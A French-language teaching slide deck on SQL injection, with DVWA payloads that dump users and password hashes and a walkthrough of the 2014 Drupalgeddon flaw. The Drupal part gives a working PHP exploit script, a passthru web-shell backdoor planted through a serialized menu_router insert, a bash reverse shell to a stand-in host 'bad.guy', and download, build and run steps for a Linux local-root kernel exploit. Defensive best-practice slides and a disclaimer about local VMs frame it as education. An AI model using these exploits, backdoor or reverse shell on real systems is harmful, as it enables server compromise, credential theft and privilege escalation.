-
Vincent Mazenod authoredVincent Mazenod authored
- SQLi
- Aka injections SQL
- Disclaimer
- monsite.com
- Que se passe-t-il quand on appuie sur le bouton?
- basiquement ...
- Où sont les failles de sécurité?
- http = carte postale
- https = enveloppe cachetée
- ???
- sqli
- SQLi
- SQLi
- intéressant!?
- SQLi / détournement
- toujours la même erreur!
- Pourquoi?
- SQLi / détournement
- Comment faire?
- essayons avec le symbole de commentaire en ligne #
- SQLi / détournement
- Ca marche :D
- SQLi / détournement
- peut on atteindre les mots de passe?
- probablement dans la même table ...
- mais comment? on a pas la main sur la clause SELECT de la requête ...
- Say hello to UNION!
- Les clauses select doivent avoir le même nombre de champs!?
- comment deviner le nombre de champs d'une requête SQL?
- jouer avec order BY
- Affichage des mots de passe
- sqli
- Rainbow tables
- https://crackstation.net/
- Bonnes pratiques
- Bonnes pratiques
- Bonnes pratiques
- Bonnes pratiques
- SQLi de la vraie vie (2014)
- Drupalgeddon
- La faille
- exploitable à partir du formulaire d'authentification!
- sans aucun privilège!
- Trouver un système vulnérable sur le www
- Timeline grand publique
- Timeline côté attaquant
- La faille
- Le patch
- Exploitation manuelle
- Exploit
- Backdoor
- Backdoor
- exploitation
- exploitation
- W00T
- Bonnes pratiques
SQLi
Aka injections SQL
Disclaimer
Cette présentation explique comment fonctionne l'exploiter des services vulnérables aux injections SQL.
Toutes les attaques sont réalisées sur des VMs en local.
Il est vivement déconseillé de reproduire ces attaques sur une cible distante, sans la permission explicite (c'est à dire écrite et signée) de l'administrateur de cette cible!
Selon la cible: Vous risquez gros!
monsite.com
Utilisateur:
Mot de passe:
Que se passe-t-il quand on appuie sur le bouton?
basiquement ...
Où sont les failles de sécurité?
Note:
- Le navigateur envoie le contenu des champs
Utilisateur
etMot passe
au serveur- en clair
- Le serveur va chercher les informations concernant l'
Utilisateur
mazenovi dans sa base de données- dont le mot de passe
- Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
- égalité = utilisateur authentifié
- différence = utilisateur ou mot de passe invalide
http = carte postale
https = enveloppe cachetée
Note:
- Lors de la transmission du mot de passe => utiliser https
- il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/
???
Note:
- Lors du stockage du mot de passe
- Pourquoi?
- Le mot de passe n'est jamais affiché et voilà
- Pourquoi?
sqli
Note:
- Lors du stockage du mot de passe
- Pourquoi?
- Le mot de passe n'est jamais affiché et voilà
- Pourquoi?
SQLi
- faille n°1 dans le top 10 owasp
- depuis plusieurs années
- concerne tous les interpréteurs
- concerne tous les langages
- permet de
- lire des données protégées
- corrompre des données
- dénis de services
- lecture / écriture sur le système de fichiers
- exécution de commandes arbitraires
SQLi
http://dv.wa/vulnerabilities/sqli/
Tout commence par un message d'erreur anodin si on saisit les caractère '
au lieu de l'entier attendu
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version
for the right syntax to use near ''''' at line 1
intéressant!?
$id = $_GET['id'];
$getid = "SELECT first_name, last_name
FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(mysql_error());
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
le serveur exécute donc la requête
SELECT first_name, last_name FROM users WHERE user_id = '''
et renvoie une erreur! chaîne de caractère non terminée ...
SQLi / détournement
en suivant la logique
SELECT first_name, last_name
FROM users WHERE user_id = '' OR 1=1
devrait afficher la liste de tous les utilisateurs ...
essayons de saisir la valeur ' OR 1=1
au lieu de l'entier attendu
toujours la même erreur!
Pourquoi?
SQLi / détournement
la requête exécutée est en fait
SELECT first_name, last_name
FROM users WHERE user_id = '' OR 1=1'
elle présente encore une erreur de chaîne de caractère non terminée!
Comment faire?
essayons avec le symbole de commentaire en ligne #
SQLi / détournement
on saisit maintenant la valeur ' OR 1=1#
au lieu de l'entier attendu
Ca marche :D
SQLi / détournement
Notez qu'on peut travailler directement sur l'url (industrialisation)
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
soit en version encodée
http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
peut on atteindre les mots de passe?
probablement dans la même table ...
mais comment? on a pas la main sur la clause SELECT de la requête ...
Say hello to UNION!
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
Les clauses select doivent avoir le même nombre de champs!?
comment deviner le nombre de champs d'une requête SQL?
jouer avec order BY
' OR 1=1 ORDER BY 2#
- si l'index correspond à un champs de la clause SELECT
- la requête s'exécute
- si l'index ne correspond pas à un champs de la clause SELECT
- la requête échoue
Affichage des mots de passe
' AND 1=0 UNION SELECT user, password FROM users#
Les mots de passe sont hashés
- SHA256(passeenclair)
- 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
- SHA256(admin)
- 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
- MD5(passeenclair) (cassé!)
- 5452409edd9626898129c983ec443748
sqli
Note:
- Mot de passe hashé
Rainbow tables
https://crackstation.net/
-
Hashs précalculés de mots de passe communs
-
8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
- sha256 - admin
-
4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
- ????
Bonnes pratiques
-
stocker les mots de passe hashés
-
valider la robustesse des mots de passe utilisateur
- minuscule + majuscule + spécial + numériques
- longueur minimum (passphrase)
-
ajouter un sel
- SHA256(admin+selsupercompliqué)
Bonnes pratiques
- filtrer par TOUTES les entrées par listes blanches
- caster
-
intval(), floatval(), ...
- si l'id est toujours un entier ...
-
intval(), floatval(), ...
- échappement des paramètres de requêtes
- caster
Bonnes pratiques
- Ne plus utiliser les fonctions mysql_ leur préférer mysqli_
- Utiliser des requêtes préparées
- PDO, ORM : Doctrine2, Propel
- Être le plus silencieux possibles quant aux requêtes invalides
- @ mais pas or die()
- error_reporting, pas mysql_error() ni mysqli_error()
- repérer les requêtes suspectes dans les logs
Bonnes pratiques
- Web Application Firewall (WAF)
- Les privilèges de l'utilisateur SQL ont un sens
- FILE
- attention aux permissions sur la base de données
- information_schema ...
- Changer les préfixes de table des CMS quand c'est possible
SQLi de la vraie vie (2014)
-
les SQLi n'apparaissent pas (plus) de manière aussi grossière
-
Voici une vraie faille du CMS drupal ...
Drupalgeddon
La faille
-
Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection
- Version: 7.x < 7.32
- Date: 2014-October-15
- Security risk: 25/25 ( Highly Critical)
exploitable à partir du formulaire d'authentification!
sans aucun privilège!
Trouver un système vulnérable sur le www
Timeline grand publique
- 16 sept. 2014 : notification à Drupal
- 15 oct. 2014 : publication du correctif
- 29 oct. 2014 : communication de Drupal (PSA-2014-003)
- 3 nov. 2014 : release de deux exploits publiques
Timeline côté attaquant
- 16 sept. 2014 : notification à Drupal
- 15 oct. 2014 : publication du correctif
- 15 oct. 2014, 4h après : exploitations en cours…
- 16 oct. 2014 : de très nombreux Drupal compromis…
La faille
includes/database/database.inc ligne 738
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value
}
}
- $i est un index de tableau de variables HTTP
- les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
- il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP
Le patch
includes/database/database.inc ligne 738
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
/* patched version begin */
foreach (array_values($data) as $i => $value) {
/* patched version end */
$new_keys[$key . '_' . $i] = $value
}
}
- array_values() retourne les valeurs du tableau array et l'indexe de façon numérique
Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
- code drupal compliqué ou mal fait
Exploitation manuelle
remplacer
<input id="edit-name" name="name" type="text">
par
<input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
Note:
- mettre un mot de passe
Exploit
$url = $argv[1];
$sql = $argv[2];
$sql = str_replace('{', '\' , CHAR(123), \'', $sql);
$sql = str_replace('}', '\' , CHAR(125), \'', $sql);
$sql = str_replace('[', '\' , CHAR(91), \'', $sql);
$sql = str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);
//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
Backdoor
rerésente 68% des attaques
Simple backdoor shell
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
echo "<pre>";
passthru($_REQUEST["cmd"]);
die;
}
phpinfo();';
Backdoor
- Architecture Drupal
- menu_router
- un url = un callback + un tableau d'arguments sérialisés
- menu_router
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
Payload
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
- automatisable à souhait
exploitation
$ php attack/exploit.php 'http://drup.al'
-
http://drup.al/sites/default/files/backdoor.php
- affiche phpinfo()
-
http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php
- affiche les paramètres SQL
exploitation
nc -lvvp 1337
met le poste de l'attaquant en écoute sur le port 1337
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
en version encodée
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0```
* connecte le serveur sur l'IP de l'attaquant
Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
- analyse des ping wireshark
- [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
- sur ma maquette ca marche aussi sur le port 80 ...
## escalade de privilèges
* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
* environ tous les 2 ans
* [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
* fonctionne sur les archi 64bits uniquement
* kernel de 2.6.37 à 3.8.10
```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
W00T
Bonnes pratiques
- un malheur n'arrive jamais seul
- tout doit être à jour
- système, lib, cms, services, ...
- mieux vaut s'appuyer sur des communautés
- réactives
- préoccupées par la sécurité
- bien suivre les mises à jour des produits
- et patcher asap quand nécessaire